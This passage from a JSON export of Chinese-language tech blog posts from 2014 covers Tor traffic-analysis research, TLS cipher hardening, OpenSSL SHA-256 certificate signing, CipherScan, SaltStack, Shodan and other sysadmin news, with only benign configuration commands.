    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://yro.slashdot.org/story/14/11/14/1851245/81-of-tor-users-can-be-de-anonymized-by-analysing-router-information\">81% of Tor Users Can Be De-anonymized By Analysing Router Information</a>」，原報導在「<a href=\"http://thestack.com/chakravarty-tor-traffic-analysis-141114\">81% of Tor users can be de-anonymised by analysing router information, research indicates</a>」。\r\n\r\nPDF 論文在「<a href=\"https://mice.cs.columbia.edu/getTechreport.php?techreportID=1545&amp;format=pdf\">On the Effectiveness of Traffic Analysis Against Anonymity Networks Using Flow Records</a>」這邊。\r\n\r\n<img src=\"//i.imgur.com/SOyx8bq.jpg\" alt=\"\" />\r\n\r\n當 Entry node 與 Exit node 都能夠被 Netflow 涵蓋觀察時，就可以利用流量資訊分析得到原始 <a href=\"https://www.torproject.org/\">Tor</a> 使用者的原始 IP address，這意味著 ISP 與政府是有能力反匿名的。\r\n\r\n但 Tor 其中一個目標是 low latency，繞太多節點以避開監控的速度會掉太多... 這不知道要怎麼取捨 :o",
    "title": "利用觀察流量的技巧可以抓出 81% 的 Tor 使用者"
  },
  {
    "id": "5334",
    "body": "計算機科學領域裡的最高獎項，<a href=\"http://amturing.acm.org/\">Turing Award</a>，在 <a href=\"https://www.google.com/\">Google</a> 的資助下，獎金從本來的 25 萬美金提升到百萬美金，<a href=\"http://www.acm.org/\">ACM</a> 的公告在這邊：「<a href=\"http://www.acm.org/press-room/news-releases/2014/turing-prize-announcement\">Google to Provide All Funding for Most Prestigious Award in Computing</a>」。\r\n\r\n諾貝爾獎的獎金是八百萬瑞典客朗，剛好大約是百萬美金 (約 USD$1.08M)。\r\n\r\n這則新聞剛好跟「<a href=\"https://medium.com/backchannel/the-man-who-made-the-uk-say-im-sorry-for-what-we-did-to-turing-8fc468dcea6b\">The Man Who Made the UK Say “I’m Sorry For What We Did To Turing.”</a>」這篇報導一起看。",
    "title": "Google 資助圖靈獎 (Turing Award) 獎金至百萬美金"
  },
  {
    "id": "5337",
    "body": "<a href=\"http://www.netflix.com/\">Netflix</a> 的 <a href=\"http://www.brendangregg.com/\">Brendan Gregg</a> 在「<a href=\"http://www.slideshare.net/brendangregg/linux-performance-analysis-new-tools-and-old-secrets\">Linux Performance Analysis: New Tools and Old Secrets</a>」這份投影片裡面給了很多有用的工具。\r\n\r\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/41576148\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe>\r\n\r\n「先找出問題」一向是解決問題的大前提，在投影片裡提到了很多工具，像是這兩個看起來就很有用：\r\n\r\n<ul>\r\n\t<li><a href=\"http://www.sysdig.org/\">sysdig</a></li>\r\n\t<li><a href=\"https://github.com/brendangregg/perf-tools\">perf-tools</a> (Brendan Gregg 維護)</li>\r\n</ul>",
    "title": "Netflix 在 USENIX/LISA2014 上講「Linux 效能調校」"
  },
  {
    "id": "5339",
    "body": "愈用愈有感覺 <a href=\"http://www.saltstack.com/\">SaltStack</a> 是一堆 workaround 的集合，一開始在設計整個系統時沒有規劃好，然後一直堆上去。\r\n\r\n標題的這個問題是出自於 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 預設會將 CPU 調節成 ondemand，方式是透過 <code>/etc/rc*.d/</code> 下的 symbolic link 在開機時自動執行。\r\n\r\n拔掉的方法是 <code>updated-rc.d ondemand disable</code> (而非直接砍掉 <code>/etc/rc*.d/</code> 裡面的檔案)，想要透過 SaltStack 提供的 file.exists 或 file.missing 都發現不可行。\r\n\r\n最後是 cmd.run + onlyif + test 搞定：\r\n\r\n<pre>ondemand-disable:\r\n  cmd.run:\r\n    - name: update-rc.d ondemand disable\r\n    - onlyif: test -e /etc/rc2.d/S99ondemand</pre>\r\n\r\nSaltStack 對於 dependency 的設計看起來問題重重，如果想要用 SaltStack 的人可以好好考慮一下。\r\n\r\n現在的作法是直接 trial and error 跟他拼，<a href=\"http://puppetlabs.com/\">Puppet</a>、<a href=\"https://www.getchef.com/\">Chef</a>、<a href=\"http://www.saltstack.com/\">SaltStack</a> 都直接用時間跟他換。原因是這東西實在太底層了，架構不好就是上面的管理員與 DevOps 一直 workaround。\r\n\r\n現在有種互相在比爛的感覺...",
    "title": "Salt 要做到「當某個檔案存在時，執行某個指令」的方法..."
  },
  {
    "id": "5341",
    "body": "看到廉價航空機票在特價跑去刷，結果刷了兩次都死在聯合信用卡處理中心的 acs.nccc.com.tw 畫面出不來。突然想到我把 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 關掉了，該不會是這種原因吧...\r\n\r\n跑去「<a href=\"https://www.ssllabs.com/ssltest/analyze.html?d=acs.nccc.com.tw\">SSL Report: acs.nccc.com.tw (210.61.215.16)</a>」這邊一看，果然是不支援 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a>：\r\n\r\n<img src=\"//i.imgur.com/qoCmwYU.png\" alt=\"\" />\r\n\r\n抱頭痛哭啊... 只好 rollback 回來 @_@",
    "title": "NCCC (聯合信用卡處理中心) 的網站不支援 AES 加密..."
  },
  {
    "id": "5343",
    "body": "首先先看「<a href=\"https://cc.dcsec.uni-hannover.de/\">SSL Cipher Suite Details of Your Browser</a>」這個網站，會列出你目前瀏覽器支援的 cipher suite，會需要知道要拔掉哪些號碼。\r\n\r\n接下來的資料是參考「<a href=\"https://security.stackexchange.com/questions/38493/remove-rc4-from-ssl-tls-ciphers-in-chromium\">Remove RC4 from SSL/TLS ciphers in Chromium</a>」這篇的方法。\r\n\r\nUbuntu 的使用者可以到 <code>/usr/share/applications/google-chrome.desktop</code> 這邊修改，本來是：\r\n\r\n<pre>Exec=/usr/bin/google-chrome-stable</pre>\r\n\r\n改成：\r\n\r\n<pre>Exec=/usr/bin/google-chrome-stable --cipher-suite-blacklist=0x0004,0x0005,0xc011,0xc007</pre>\r\n\r\n其中的十六進位數字就是出自最前面提到的網站：\r\n<ul>\r\n\t<li>0x0004 對應 RSA-RC4128-MD5，</li>\r\n\t<li>0x0005 對應 RSA-RC4128-SHA，</li>\r\n\t<li>0xc011 對應 ECDHE-RSA-RC4128-SHA，</li>\r\n\t<li>而最後的 0xc007 對應 ECDHE-ECDSA-RC4128-SHA。</li>\r\n</ul>\r\n\r\n這樣就可以將 RC4 禁用掉。",
    "title": "Ubuntu 上把 Chrome 拔掉 RC4 連線的方法"
  },
  {
    "id": "5347",
    "body": "看到 <a href=\"https://www.google.com/chrome/browser/\">Google Chrome</a> 39 釋出，拔除對 SSLv3 的支援：「<a href=\"http://threatpost.com/google-removes-sslv3-fallback-support-from-chrome/109455\">Google Removes SSLv3 Fallback Support From Chrome</a>」，官方的 post 反而沒有特別著墨這點：「<a href=\"http://googlechromereleases.blogspot.com/2014/11/stable-channel-update_18.html\">Stable Channel Update</a>」。\r\n\r\n可以利用「<a href=\"https://zmap.io/sslv3/sslv3test.html\">POODLE Attack and SSLv3 Support Measurement</a>」測試瀏覽器是否支援 SSLv3。",
    "title": "Google Chrome 39 釋出，拔除對 SSLv3 的支援"
  },
  {
    "id": "5349",
    "body": "<a href=\"http://alestic.com/\">Eric Hammond</a> 在「<a href=\"http://alestic.com/2014/11/aws-lambda-environment\">Exploring The AWS Lambda Runtime Environment</a>」觀察了目前 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 的系統環境。\r\n\r\n不過這只是好奇性質而已，<a href=\"http://www.amazon.com/\">Amazon</a> 本來就不保證不會改變：\r\n\r\n<blockquote>For the curious, here are some results. Please note that this is running on a preview and is in no way a guaranteed part of the environment of a Lambda function. Amazon could change any of it at any time, so don’t build production code using this information.</blockquote>\r\n\r\n因為可以執行 shell command，所以什麼都可以做 XD\r\n\r\n工具的說明在另外一篇：「<a href=\"http://alestic.com/2014/11/aws-lambda-shell\">lambdash: AWS Lambda Shell Hack</a>」。",
    "title": "AWS Lambda 的系統環境"
  },
  {
    "id": "5353",
    "body": "因為 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 39 出來的關係，一些以前簽出來只包含 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 的 SSL certificate 因此導致了綠色 icon 變成黃色 icon，所以都要重簽一次產生 <a href=\"https://en.wikipedia.org/wiki/SHA-2\">SHA-2</a> 資訊。\r\n\r\n有人說可以只要在簽名產生 crt 的部份做就好，不過這邊還是都提出來，並且給驗證的方式。\r\n\r\n如果本來就已經有寫好 script，那麼只要在產生 csr 與簽名產生 crt 的步驟都加上 <code>-sha256</code> 就可以解決了。\r\n\r\n這是產生 csr 的：(<code>${HOST}</code> 以及 subj 的內容自己代換)\r\n\r\n<pre>openssl req -new -key ${HOST}.key -subj \"/C=TW/ST=Taiwan/L=Taipei/O=MyOrganization/OU=MyUnit/CN=${HOST}\" -sha256 -out ${HOST}.csr</pre>\r\n\r\n而 csr 檢查的方式是：\r\n\r\n<pre>openssl req -in ${HOST}.csr -text</pre>\r\n\r\n看 Signature Algorithm 是不是 sha256WithRSAEncryption。\r\n\r\n簽名產生 crt 也要加上 <code>-sha256</code>：\r\n\r\n<pre>openssl x509 -req -days 365 -in ${HOST}.csr -CA ca/ca.crt -CAkey ca/ca.key -sha256 -out ${HOST}.crt</pre>\r\n\r\n而 crt 檢查的方式是：\r\n\r\n<pre>openssl x509 -in ${HOST}.crt -text</pre>\r\n\r\n一樣是看 Signature Algorithm 這邊是不是 sha256WithRSAEncryption。",
    "title": "OpenSSL 產生並簽出 SHA2 (SHA256) 的憑證"
  },
  {
    "id": "5355",
    "body": "最近一直在看這方面的資料，所以就一直看一直寫...\r\n\r\n<a href=\"https://www.mozilla.org/\">Mozilla</a> 有一份 wiki document 把 server side 的設定給整理出來，可以當作起點來看，不過裡面還是講得很省略，如果沒有背景知識的話，應該會理解得很辛苦：「<a href=\"https://wiki.mozilla.org/Security/Server_Side_TLS\">Security/Server Side TLS</a>」。\r\n\r\n裡面給了一些速食套餐 (算是 cheatsheet)，像是 cipher 的部份可以參考相容性說明後直接拿來用。",
    "title": "Mozilla 提供的 SSL/TLS  Server Side 設定"
  },
  {
    "id": "5357",
    "body": "在「<a href=\"https://jve.linuxwall.info/blog/index.php?post/2014/11/20/SSL/TLS-for-the-Pragmatic\">SSL/TLS for the Pragmatic</a>」這篇裡面提到了 <a href=\"https://github.com/jvehent/cipherscan\">CipherScan</a> 這個工具，用起來很簡單而且輸出很清楚。\r\n\r\n直接 git clone 下來後執行就可以了，另外因為檢測 <a href=\"https://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-04\">ChaCha20+Poly1305</a> 需要新版 <a href=\"https://www.openssl.org/\">OpenSSL</a> (1.0.2 才有，目前還是開發版)，所以 clone 下來的時候裡面包括了一個 <a href=\"http://www.linux.org/\">Linux</a> 版的 openssl，砍掉的話他會用系統的 openssl。\r\n\r\n像是我的 blog 就可以掃出這樣的結果：\r\n\r\n<pre><small>gslin@home [~/git/cipherscan] [17:57/W4] (master) ./cipherscan blog.gslin.org:443\r\n........................\r\nTarget: blog.gslin.org:443\r\n\r\nprio  ciphersuite                  protocols              pfs_keysize\r\n1     DHE-RSA-AES256-GCM-SHA384    TLSv1.2                DH,2048bits\r\n2     ECDHE-RSA-AES256-GCM-SHA384  TLSv1.2                ECDH,P-256,256bits\r\n3     ECDHE-RSA-AES256-SHA384      TLSv1.2                ECDH,P-256,256bits\r\n4     ECDHE-RSA-AES256-SHA         TLSv1,TLSv1.1,TLSv1.2  ECDH,P-256,256bits\r\n5     DHE-RSA-AES256-SHA256        TLSv1.2                DH,2048bits\r\n6     DHE-RSA-AES256-SHA           TLSv1,TLSv1.1,TLSv1.2  DH,2048bits\r\n7     DHE-RSA-CAMELLIA256-SHA      TLSv1,TLSv1.1,TLSv1.2  DH,2048bits\r\n8     AES256-GCM-SHA384            TLSv1.2\r\n9     AES256-SHA256                TLSv1.2\r\n10    AES256-SHA                   TLSv1,TLSv1.1,TLSv1.2\r\n11    CAMELLIA256-SHA              TLSv1,TLSv1.1,TLSv1.2\r\n12    ECDHE-RSA-AES128-GCM-SHA256  TLSv1.2                ECDH,P-256,256bits\r\n13    ECDHE-RSA-AES128-SHA256      TLSv1.2                ECDH,P-256,256bits\r\n14    ECDHE-RSA-AES128-SHA         TLSv1,TLSv1.1,TLSv1.2  ECDH,P-256,256bits\r\n15    DHE-RSA-AES128-GCM-SHA256    TLSv1.2                DH,2048bits\r\n16    DHE-RSA-AES128-SHA256        TLSv1.2                DH,2048bits\r\n17    DHE-RSA-AES128-SHA           TLSv1,TLSv1.1,TLSv1.2  DH,2048bits\r\n18    DHE-RSA-CAMELLIA128-SHA      TLSv1,TLSv1.1,TLSv1.2  DH,2048bits\r\n19    AES128-GCM-SHA256            TLSv1.2\r\n20    AES128-SHA256                TLSv1.2\r\n21    AES128-SHA                   TLSv1,TLSv1.1,TLSv1.2\r\n22    CAMELLIA128-SHA              TLSv1,TLSv1.1,TLSv1.2\r\n23    DES-CBC3-SHA                 TLSv1,TLSv1.1,TLSv1.2\r\n\r\nCertificate: trusted, 2048 bit, sha256WithRSAEncryption signature\r\nTLS ticket lifetime hint: 600\r\nOCSP stapling: supported\r\nServer side cipher ordering</small></pre>",
    "title": "用 CipherScan 在 command line 下檢查系統"
  },
  {
    "id": "5361",
    "body": "以往 <a href=\"https://aws.amazon.com/\">AWS</a> 都是在 forum 上發表，現在居然提供 JSON 了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-ip-ranges-json/\">AWS Public IP Address Ranges Now Available in JSON Form</a>」，在 <a href=\"https://ip-ranges.amazonaws.com/ip-ranges.json\">https://ip-ranges.amazonaws.com/ip-ranges.json</a> 這邊，對應的說明在「<a href=\"http://docs.aws.amazon.com/general/latest/gr/aws-ip-ranges.html\">AWS IP Address Ranges</a>」這邊。\r\n\r\n除了 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 以外，裡面包含了 CDN (<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>) 的範圍：\r\n\r\n<blockquote>Valid values for the service key include \"AMAZON\", \"EC2\", \"ROUTE53\", \"ROUTE53_HEALTHCHECKS\", and \"CLOUDFRONT.\" If you need to know all of the ranges and don't care about the service, use the \"AMAZON\" entries. The other entries are subsets of this one. Also, some of the services, such as S3, are represented in \"AMAZON\" and do not have an entry that is specific to the service. We plan to add additional values over time; code accordingly!</blockquote>\r\n\r\n目前大約是一千萬個可用 IP。",
    "title": "AWS 官方提供 Public IP 清單 (JSON 格式)"
  },
  {
    "id": "5363",
    "body": "<a href=\"https://haveibeenpwned.com/\">Have I been pwned?</a> 是個檢查個人資料是不是被外部網站洩漏的資料庫。拿 username 或是 email 搜尋，他會告訴你在哪次洩漏清單裡有找到。\r\n\r\n現在有 RSS feed 可以訂，有更新的時候可以上去確認：「<a href=\"http://www.troyhunt.com/2014/11/have-i-been-pwned-now-with-rss.html\">“Have I been pwned?” – now with RSS!</a>。\r\n\r\n丟到 <a href=\"https://feedly.com/\">Feedly</a> 放著...",
    "title": "HIBP (Have I been pwned?) 有 RSS feed 可以訂了"
  },
  {
    "id": "5365",
    "body": "<a href=\"https://cloudharmony.com/\">CloudHarmony</a> 發表了他們對 CDN、DNS、Cloud Computing 市占率的統計數據：\r\n\r\n<ul>\r\n\t<li><a href=\"http://blog.cloudharmony.com/2014/11/cdn-marketshare-alexa-fortune-500.html\">Alexa and Fortune 500 CDN Marketshare - 20 Nov 2014</a></li>\r\n\t<li><a href=\"http://blog.cloudharmony.com/2014/11/dns-marketshare-alexa-fortune-500.html\">Alexa and Fortune 500 DNS Marketshare - 20 Nov 2014</a></li>\r\n\t<li><a href=\"http://blog.cloudharmony.com/2014/11/compute-marketshare-alexa-fortune-500.html\">Alexa and Fortune 500 Compute Marketshare - 20 Nov 2014</a></li>\r\n</ul>\r\n\r\nCDN 的部份可以看出來 <a href=\"http://www.akamai.com/\">Akamai</a> 仍然是稱霸整個市場，不過 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 也不是小數字就是了...\r\n\r\nDNS 的部份比較沒有那麼明顯，由於 CloudFlare 免費方案必須把 DNS hosting 指到他們家，所以 CDN 連帶影響到 DNS 的部份，看起來頗亂，比較明顯的是 <a href=\"https://aws.amazon.com/route53/\">Route53</a> 一直在成長。\r\n\r\nCloud Computing 的部份不知道是怎麼估算的，跟另外從營收數字估算的是另外一種面貌。雖然 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 還是很大，不過你要說 <a href=\"http://www.rackspace.com/\">Rackspace</a> 有 EC2 的 1/3 大？hmmm...",
    "title": "CloudHarmony 的市占率統計 (CDN、DNS、Cloud Computing)"
  },
  {
    "id": "5368",
    "body": "一個小時的內訓課程，以 <a href=\"http://www.fluentd.org/\">Fluentd</a> 為主題：\r\n\r\n<iframe src=\"//slides.com/gslin/fluentd-and-aws/embed\" width=\"576\" height=\"420\" scrolling=\"no\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>",
    "title": "今天在資策會講的 Fluentd 與 AWS"
  },
  {
    "id": "5370",
    "body": "一年一度的 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 的投影片、影片、錄音檔放出來了：「<a href=\"https://aws.amazon.com/blogs/aws/online-content-from-reinvent-2014/\">Now Online - Audio, Video, and Presentations from re:Invent 2014</a>」。\r\n\r\n看影片與錄音會比較花時間，從投影片看會是不錯的方法。在 <a href=\"http://www.slideshare.net/\">SlideShare</a> 的「<a href=\"http://www.slideshare.net/AmazonWebServices/tag/reinvent2014\">reinvent2014</a>」這邊有官方放出的投影片。\r\n\r\n量相當多，之後再來挑有興趣的題目來翻。",
    "title": "2014 年 re:Invent 的投影片、影片、錄音"
  },
  {
    "id": "5372",
    "body": "<a href=\"https://wikimediafoundation.org/\">維基基金會</a>選擇了 <a href=\"http://phabricator.org/\">Phabricator</a> 當作協作平台：「<a href=\"https://blog.wikimedia.org/2014/11/24/welcome-to-phabricator-wikimedias-new-collaboration-platform/\">Welcome to Phabricator, Wikimedia’s new collaboration platform</a>」。\r\n\r\n維基維基基金會已經使用 <a href=\"http://www.bugzilla.org/\">Bugzilla</a> 管理很多事情，這次的導入也在文章裡說明了不少好處以及已知的問題。\r\n\r\n看起來後面幾個月會把一些既有的工具轉移上去。\r\n\r\n另外也因為是開放的系統，要研究 Phabricator 怎麼運作的人也可以上去看看？",
    "title": "維基基金會選用 Phabricator 當作工作的協作平台"
  },
  {
    "id": "5376",
    "body": "公司有買 <a href=\"http://www.vmware.com/\">VMware</a> license，但一直沒研究要如何做一份 VM template 出來，所以花了點時間研究到底怎麼做才會比較好。\r\n\r\n這邊提供的方法是為了之後的通用性 (像是之後有可能用 <a href=\"http://www.linux-kvm.org/\">KVM</a> 堆虛擬機)，所以不使用 VMware 獨規的設計，因此有些設定需要手動調整。\r\n\r\n首先是先生出一台 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04.1 的 VM，在裝完基本系統後有些要先處理的：\r\n<ul>\r\n\t<li>可以考慮用 DHCP 或是不開啟網路設定，反正不要設固定 IP address，以免同時裝多台機器時發生狀況。</li>\r\n\t<li>因為是 VMware 裡面，安裝 <a href=\"http://open-vm-tools.sourceforge.net/\">open-vm-tools</a> 可以省下一些 <a href=\"http://puppetlabs.com/\">puppet</a> 安裝的時間。</li>\r\n\t<li>砍掉 <code>/etc/ssh/ssh_host_*</code>，每台機器的 host key 應該要不一樣。</li>\r\n</ul>\r\n\r\n做好 VM 後轉成 Template，之後每次在 deploy 完、開起來後，還要做這些事情：\r\n<ul>\r\n\t<li>改 <code>/etc/hostname</code> 與 <code>/etc/hosts</code> 裡的機器名稱。</li>\r\n\t<li>改 <code>/etc/network/interfaces</code> 裡的網路設定。</li>\r\n\t<li>跑 <code>dpkg-reconfigure openssh-server</code> 重新產生 SSH host key。</li>\r\n</ul>\r\n\r\n有些參考資料：\r\n<ul>\r\n\t<li>研究別人怎麼裝 Ubuntu 14.04.1：「<a href=\"http://frankhinek.com/how-to-install-ubuntu-server-14-04-1-on-esxi-5-5/\">How to Install Ubuntu Server 14.04.1 on ESXi 5.5</a>」。</li>\r\n\t<li>重新產生 SSH host key 的方式：「<a href=\"https://www.digitalocean.com/company/blog/avoid-duplicate-ssh-host-keys/\">Avoid Duplicate SSH Host Keys</a>」。</li>\r\n</ul>\r\n\r\n過程其實還蠻簡單的，只是有一些眉眉角角的東西要注意...",
    "title": "做 Ubuntu 14.04.1 的 VMware Template"
  },
  {
    "id": "5380",
    "body": "<a href=\"https://www.wikimedia.org/\">維基基金會</a>釋出八月月報 (好像晚了三個月？)：「<a href=\"https://blog.wikimedia.org/2014/11/30/wikimedia-foundation-report-august-2014/\">Wikimedia Foundation Report, August 2014</a>」，在「<a href=\"https://blog.wikimedia.org/2014/11/30/wikimedia-highlights-august-2014/\">Wikimedia Highlights, August 2014</a>」有比較精簡的版本。\r\n\r\n維基基金會在報告裡有提供一些 PV 相關的數據，包括 comScore 的數字與自己 server log 所統計出來的數據。另外也包含了財務狀況。\r\n\r\n其中技術相關的是取自「<a href=\"https://www.mediawiki.org/wiki/Wikimedia_Engineering/Report/2014/August\">Wikimedia Engineering/Report/2014/August</a>」這頁。另外因為這是八月的資料，我順便偷看了九月與十月的「<a href=\"https://www.mediawiki.org/wiki/Wikimedia_Engineering/Report/2014/September\">Wikimedia Engineering/Report/2014/September</a>」與「<a href=\"https://www.mediawiki.org/wiki/Wikimedia_Engineering/Report/2014/October\">Wikimedia Engineering/Report/2014/October</a>」。\r\n\r\n可以看到在測試 <a href=\"http://hhvm.com/\">HHVM</a> 的計畫，而且目前看起來還不錯：「<a href=\"https://lists.wikimedia.org/pipermail/wikitech-l/2014-August/078034.html\">[Wikitech-l] [Engineering] Migrating test.wikipedia.org to HHVM</a>」，拿了 test.wikipedia.org 測試，其中 speed test 的部份有大幅改善：\r\n\r\n<pre>1) Speed test: measure the time taken to request the page 1000 times over just 10 concurrent connections:\r\n\r\n                        HHVM    Zend    diff\r\nMean time (ms):         233     441     -47%\r\n99th percentile (ms):   370     869     -57%\r\nRequest/s:              43      22.6    +90%</pre>\r\n\r\n而負載測試的成果更好：\r\n\r\n<pre>2) Load test: measure how much thoughput we obtain when hogging the appserver with 50 concurrent requests for a grand total of 10000 requests. What I wanted to test in this case was the performance degradation and the systems resource consumption\r\n\r\n                        HHVM    Zend    diff\r\nMean time (ms):         355     906     -61%\r\n99th percentile (ms):   791     1453    -45%\r\nRequest/s:              141     55.1    +156%\r\nNetwork (Mbytes/s)      17      7       +142%\r\nRAM used (GBs):         5(1)    11(4)\r\nCPU usage (%):          90(75)  100(90)</pre>\r\n\r\n維基百科之所以沒有遇到太多問題，主要是因為所使用的軟體是 open source 而且夠大的關係，直接成為 HHVM 測試的一環：「<a href=\"http://hhvm.com/blog/4841/compatibility-update\">Compatibility Update</a>」。\r\n\r\n不過目前看起來應該還是跑 <a href=\"http://www.php.net/\">PHP</a>，沒有看到整個都轉換過去的計畫。\r\n\r\n另外一方面，搜尋引擎的更換就沒有這麼順利，雖然換到 <a href=\"http://www.elasticsearch.org/\">Elasticsearch</a> 後改善不少，不過可以看到八月的報告這樣寫：\r\n\r\n<blockquote>tarted deploying Cirrus as the primary search back-end to more of the remaining wikis and we found what looks like our biggest open performance bottleneck. Next month's goal is to fix it and deploy to more wikis (probably not all). We're also working on getting more hardware.</blockquote>\r\n\r\n而九月時就講到沒有銀彈，要加硬體去拼：\r\n\r\n<blockquote>In September we worked to mitigate the performance bottleneck that we found in August. We found there to be no silver bullet but used the information we learned to pick and order appropriate hardware to handle the remaining wikis. We also implemented out significantly improved wikitext Regular Expression search. In October we've begun rolling out the wikitext Regular Expression search and received some of the hardware we need to finish cutting over the remaining wikis. We believe we'll get it all installed in October and cut the remaining wikis over in November.</blockquote>\r\n\r\n十月的時候弄到機器了：\r\n\r\n<blockquote>In October we prepared for November in which we deployed Cirrus to all the remaining wikis by installing new servers installing new versions of Elasticsearch and our plugins. We also fixed up regex search which had caused a search outage.</blockquote>\r\n\r\n這些報告的連結裡面其實有些不會在對外新聞稿上面的評語... XD",
    "title": "維基基金會的 2014 年八月月報"
  },
  {
    "id": "5383",
    "body": "可以直接看 <a href=\"https://github.com/\">GitHub</a> 上的 commit log：「<a href=\"https://github.com/composer/composer/commit/ac676f47f7bbc619678a29deae097b6b0710b799\">Disable GC when computing deps, refs #3482</a>」。\r\n\r\n<pre>      */\r\n     public function run()\r\n     {\r\n+        gc_disable();\r\n+\r\n         if ($this-&gt;dryRun) {\r\n             $this-&gt;verbose = true;\r\n             $this-&gt;runScripts = false;</pre>\r\n\r\n下面變成祭典了 XDDD\r\n\r\n然後依照「<a href=\"https://github.com/composer/composer/pull/3482\">Avoid generating duplicate conflict rules by naderman · Pull Request #3482 · composer/composer</a>」這邊的測試 (要看下面的討論)，設 <code>zend.enable_gc=0</code> 會省的更多，效率用倍數在跳的...\r\n\r\n因為 <a href=\"https://getcomposer.org/\">Composer</a> 的效率為人詬病很久了，這次有人暴發出來，會讓一群人投入資源找更多 optimization... XD\r\n",
    "title": "增加一行程式碼讓 PHP Composer 效率爆增"
  },
  {
    "id": "5389",
    "body": "在「<a href=\"https://kev.inburke.com/kevin/invalid-username-or-password-useless/\">“Invalid Username or Password”: a useless security measure</a>」這篇文章裡談到了使用者登入錯誤時的提示訊息。\r\n\r\n通常為了安全考量，「沒有這個帳號」與「密碼錯誤」，我們會給出一樣的錯誤訊息，避免攻擊者可以猜測。像是 <a href=\"http://www.amazon.com/\">Amazon</a> 的畫面：\r\n\r\n<img src=\"//i.imgur.com/VSca0Sf.png\" alt=\"\" />\r\n\r\n這樣設計的前提是讓攻擊者不知道這個帳號是不是存在 (如果不存在的話就換其他帳號繼續攻擊)。但這個假設通常是錯的，因為大多數的系統一個 e-mail 綁定一個帳號，所以註冊時就可以分辨：\r\n\r\n<img src=\"//i.imgur.com/e5oOFDf.png\" alt=\"\" />\r\n\r\n因此應該提供正確的訊息，而非將資訊隱蔽起來。",
    "title": "使用者登入時的錯誤訊息"
  },
  {
    "id": "5391",
    "body": "在 <a href=\"https://adblockplus.org/\">Adblock Plus</a> 的「<a href=\"https://adblockplus.org/blog/how-to-keep-people-from-knowing-you-ve-read-their-facebook-message\">How to keep people from knowing you’ve read their Facebook message</a>」這邊提到 <a href=\"https://www.facebook.com/\">Facebook</a> 的「已讀」：\r\n\r\n<img src=\"//i.imgur.com/bKsK7Rh.png\" alt=\"\" />\r\n\r\nFacebook 在你看過後會送出通知，方法是增加這條規則：\r\n\r\n<pre>||facebook.com/ajax/mercury/change_read_status.php$xmlhttprequest</pre>\r\n\r\n這樣就不會送出「已讀」的訊息。",
    "title": "用 Adblock Plus 擋下 Facebook 的「已讀」"
  },
  {
    "id": "5394",
    "body": "在「<a href=\"http://shodanio.wordpress.com/2014/12/01/using-shodan-from-the-command-line/\">Using Shodan from the Command-Line</a>」這邊看到跟資安有關的工具，然後跑回去研究 <a href=\"https://www.shodan.io/\">Shodan</a> 這個工具。\r\n\r\n<strong>這是預先掃好的資料庫啊啊啊～</strong>\r\n\r\n而且還包括了目前已經有的 exploit 可以攻擊的對象？喂喂... (超開心？)\r\n\r\n然後 <a href=\"https://www.shodan.io/search?query=port%3A22\">port:22</a> 的結果 (需要登入才能查詢)，左邊列出全世界的數量排名，台灣居然是第三名？\r\n\r\n一堆 <a href=\"https://matt.ucc.asn.au/dropbear/dropbear.html\">Dropbear</a> 看起來是一堆 WAN interface 對 internet 公開的分享器？我看到這些資料後才能理解，為什麼台灣在全世界跳板比率這麼高 XDDD\r\n\r\n然後一如預期的，<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 一堆機器開放全世界存取 ssh XDDDD",
    "title": "用 Shodan 掃台..."
  },
  {
    "id": "5402",
    "body": "兩邊開始喊話了。\r\n\r\n<a href=\"https://coreos.com/\">CoreOS</a> 的人首先先發表了 <a href=\"https://www.docker.com/\">Docker</a> 的替代品 <a href=\"https://github.com/coreos/rocket\">Rocket</a>：「<a href=\"https://coreos.com/blog/rocket/\">CoreOS is building a container runtime, Rocket</a>」。\r\n\r\n而 <a href=\"https://www.docker.com/\">Docker</a> 的人則發文反擊：「<a href=\"http://blog.docker.com/2014/12/initial-thoughts-on-the-rocket-announcement/\">Initial thoughts on the Rocket announcement</a>」。\r\n\r\n目前資訊不足，不知道起因是什麼，不過已知 Docker 後面是 <a href=\"https://www.dotcloud.com/\">dotCloud</a>，而 dotCloud 的記錄不太好。\r\n\r\n繼續觀察看看吧。",
    "title": "Docker 與 Rocket"
  },
  {
    "id": "5404",
    "body": "在讀「<a href=\"http://homakov.blogspot.com/2014/12/the-no-captcha-problem.html\">The No CAPTCHA problem</a>」這篇的時候看到的：「<a href=\"https://w3c.github.io/webappsec/specs/referrer-policy/\">Referrer Policy</a>」。\r\n\r\n<pre>&lt;meta name=\"referrer\" content=\"never\"&gt;</pre>\r\n\r\n目前正式版本的瀏覽器中，只有 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 有支援，而其他瀏覽器正在開發，像是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 上個月才進 trunk：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=704320\">Bug 704320 - Implement &lt;meta name=\"referrer\"&gt;</a>」，預定在 36 版才會納入 (目前是 34)。\r\n\r\n還蠻新的 HTML5 標準 (還在制定)，可以來定期追進度...",
    "title": "要瀏覽器不要送出 Referrer 的 Referrer Policy"
  },
  {
    "id": "5406",
